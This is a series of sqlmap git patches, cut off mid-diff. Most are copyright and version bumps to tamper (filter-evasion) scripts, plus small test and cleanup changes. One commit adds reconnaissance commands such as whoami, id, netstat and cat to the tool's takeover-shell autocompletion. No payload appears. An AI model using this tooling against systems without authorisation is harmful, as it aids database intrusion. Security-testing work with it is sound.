@@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index ba7a8dea1..59258ef26 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py index 790d8d6c4..4e749ffbb 100644 --- a/tamper/charunicodeescape.py +++ b/tamper/charunicodeescape.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index 7ebecbcec..5d062ead7 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py index 379586829..fb7f500a8 100644 --- a/tamper/commalessmid.py +++ b/tamper/commalessmid.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index 23933c279..da59c92a5 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index d2663bb2f..c13d50a92 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index bc65eff13..56d70fd97 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index db7c4c388..2a52be973 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/greatest.py b/tamper/greatest.py index 989280cc8..6c654e6fe 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index 3d4f91d2a..84256d332 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/hex2char.py b/tamper/hex2char.py index 71d1f1ed4..bdfa32feb 100644 --- a/tamper/hex2char.py +++ b/tamper/hex2char.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index 8eed7b406..2a7512351 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index b7680ff13..f5f13c37b 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index c933751ce..22c0d409b 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index 7076fecaa..101ab13d7 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/least.py b/tamper/least.py index 53a8a6aad..bd085d25f 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/lowercase.py b/tamper/lowercase.py index 101e4436a..3b3c18b44 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/luanginx.py b/tamper/luanginx.py index e50675744..bffc4793b 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 605c1aee2..05b8de00f 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index af358f58b..774a1cbf3 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index ec8b2d6d3..a190c9d28 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index 5cc28a630..21a1ec453 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py index 301945f4f..d2a5fa4ea 100644 --- a/tamper/overlongutf8more.py +++ b/tamper/overlongutf8more.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/percentage.py b/tamper/percentage.py index a97c96942..4045a4790 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index f94d26685..7aecbb9fd 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index c0002e53b..cdb799b3e 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 766693eb4..c39b6648c 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 678c36a92..53882e8bb 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/sp_password.py b/tamper/sp_password.py index 0f2f813a4..054bcd07b 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 7db34f56e..e81fa6363 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 445ade421..07629fc9f 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 416133260..1325b6302 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index 39499c117..9061baa08 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index be2d0c669..fa901db32 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 0e4135daf..c9098413e 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index f0d88fe01..d2810b0e9 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index 7352d417a..78d46f399 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index 917505a4a..ef5d2489d 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2plus.py b/tamper/space2plus.py index 8fc74c8b1..ceb2be995 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index 343afa8d9..690cb3353 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py index 4ed890c0b..94a1520e8 100644 --- a/tamper/substring2leftright.py +++ b/tamper/substring2leftright.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index 88af8f9ad..f8f694a74 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 6d24acb06..24f600d1a 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index a89e0a75e..c404945dc 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/uppercase.py b/tamper/uppercase.py index faec80704..320527d80 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/varnish.py b/tamper/varnish.py index 6b79f494c..6722d8ed7 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index e2c3fcc4d..c78495a77 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index 035a05a79..a2bbabfc1 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index e6cadf2d0..ab33c6b11 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ From e9ec443a8ae54d8892b8e32781442e124a83d659 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Jan 2020 13:30:20 +0100 Subject: [PATCH 058/159] First dummy 2020 commit --- lib/core/settings.py | 2 +- lib/utils/api.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7bbb515c2..8ad535f72 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4" +VERSION = "1.4.1.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 649b9f602..19593fc94 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -459,7 +459,7 @@ def option_get(taskid): logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option)) return jsonize({"success": False, "message": "Unknown option '%s'" % option}) - logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ",".join(options))) + logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ','.join(options))) return jsonize({"success": True, "options": results}) From 4606d5afd50ee32cd66e68ebe33de18fbe676122 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Jan 2020 14:02:52 +0100 Subject: [PATCH 059/159] Copyright year bump --- lib/core/settings.py | 2 +- thirdparty/identywaf/__init__.py | 2 +- thirdparty/identywaf/identYwaf.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8ad535f72..81469534e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.0" +VERSION = "1.4.1.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/identywaf/__init__.py b/thirdparty/identywaf/__init__.py index aa130ea22..499824272 100644 --- a/thirdparty/identywaf/__init__.py +++ b/thirdparty/identywaf/__init__.py @@ -1,6 +1,6 @@ #!/usr/bin/env python # -# Copyright (c) 2019 Miroslav Stampar (@stamparm), MIT +# Copyright (c) 2019-2020 Miroslav Stampar (@stamparm), MIT # See the file 'LICENSE' for copying permission # The above copyright notice and this permission notice shall be included in diff --git a/thirdparty/identywaf/identYwaf.py b/thirdparty/identywaf/identYwaf.py index 2209352f3..0aab764b7 100755 --- a/thirdparty/identywaf/identYwaf.py +++ b/thirdparty/identywaf/identYwaf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2019 Miroslav Stampar (@stamparm), MIT +Copyright (c) 2019-2020 Miroslav Stampar (@stamparm), MIT See the file 'LICENSE' for copying permission The above copyright notice and this permission notice shall be included in From 8ace3363bd8419061d5cb6bc0369fb5dcf352be0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Jan 2020 14:04:01 +0100 Subject: [PATCH 060/159] Trivial update --- lib/core/settings.py | 2 +- thirdparty/identywaf/LICENSE | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 81469534e..6de7dce16 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.1" +VERSION = "1.4.1.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/identywaf/LICENSE b/thirdparty/identywaf/LICENSE index fbea8d26e..c46b637f9 100644 --- a/thirdparty/identywaf/LICENSE +++ b/thirdparty/identywaf/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2019 Miroslav Stampar +Copyright (c) 2019-2020 Miroslav Stampar Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal From 5d62195a4104fdf6f4fd5f81c5e9a07ebcfeebe6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Jan 2020 13:46:12 +0100 Subject: [PATCH 061/159] Minor update of testing --- lib/core/settings.py | 2 +- lib/core/testing.py | 9 +++++++++ lib/parse/html.py | 6 ++++++ 3 files changed, 16 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6de7dce16..cac50d621 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.2" +VERSION = "1.4.1.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 4685c6bae..295bc3ebc 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -192,6 +192,15 @@ def smokeTest(): dirtyPatchRandom() + content = open(paths.ERRORS_XML, "r").read() + for regex in re.findall(r'', content): + try: + re.compile(regex) + except re.error: + errMsg = "smoke test failed at compiling '%s'" % regex + logger.error(errMsg) + return False + retVal = True count, length = 0, 0 diff --git a/lib/parse/html.py b/lib/parse/html.py index 8af2067ce..9357ab39f 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -57,6 +57,12 @@ def htmlParser(page): """ This function calls a class that parses the input HTML page to fingerprint the back-end database management system + + >>> from lib.core.enums import DBMS + >>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL + True + >>> threadData = getCurrentThreadData() + >>> threadData.lastErrorPage = None """ xmlfile = paths.ERRORS_XML From bb51c0e41e9756574c3105ca7379cb3786aa72b6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Jan 2020 14:03:01 +0100 Subject: [PATCH 062/159] Minor update --- lib/core/settings.py | 2 +- lib/core/shell.py | 19 ++++++++++++------- 2 files changed, 13 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index cac50d621..9410744ac 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.3" +VERSION = "1.4.1.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/shell.py b/lib/core/shell.py index e2896ad20..47c00c050 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -118,19 +118,24 @@ def autoCompletion(completion=None, os=None, commands=None): if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ - "copy": None, "del": None, "dir": None, - "echo": None, "md": None, "mem": None, + "attrib": None, "copy": None, "del": None, + "dir": None, "echo": None, "fc": None, + "label": None, "md": None, "mem": None, "move": None, "net": None, "netstat -na": None, - "ver": None, "xcopy": None, "whoami": None, + "tree": None, "truename": None, "type": None, + "ver": None, "vol": None, "xcopy": None, }) else: # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands completer = CompleterNG({ - "cp": None, "rm": None, "ls": None, - "echo": None, "mkdir": None, "free": None, - "mv": None, "ifconfig": None, "netstat -natu": None, - "pwd": None, "uname": None, "id": None, + "cat": None, "chmod": None, "chown": None, + "cp": None, "cut": None, "date": None, "df": None, + "diff": None, "du": None, "echo": None, "env": None, + "file": None, "find": None, "free": None, "grep": None, + "id": None, "ifconfig": None, "ls": None, "mkdir": None, + "mv": None, "netstat": None, "pwd": None, "rm": None, + "uname": None, "whoami": None, }) readline.set_completer(completer.complete) From 6b451997666d4aee06ef269217f4de8688fd3b94 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 5 Jan 2020 22:43:25 +0100 Subject: [PATCH 063/159] Removing obsolete code --- lib/core/common.py | 1 - lib/core/option.py | 4 +- lib/core/optiondict.py | 1 - lib/core/settings.py | 2 +- lib/core/testing.py | 124 ------------------------------------- lib/parse/cmdline.py | 5 +- lib/takeover/metasploit.py | 7 --- lib/utils/progress.py | 7 +-- sqlmap.py | 3 - 9 files changed, 6 insertions(+), 148 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index ae8d5dfcc..ccb4b3fb4 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1398,7 +1398,6 @@ def setPaths(rootPath): paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml") - paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml") paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") paths.GENERIC_XML = 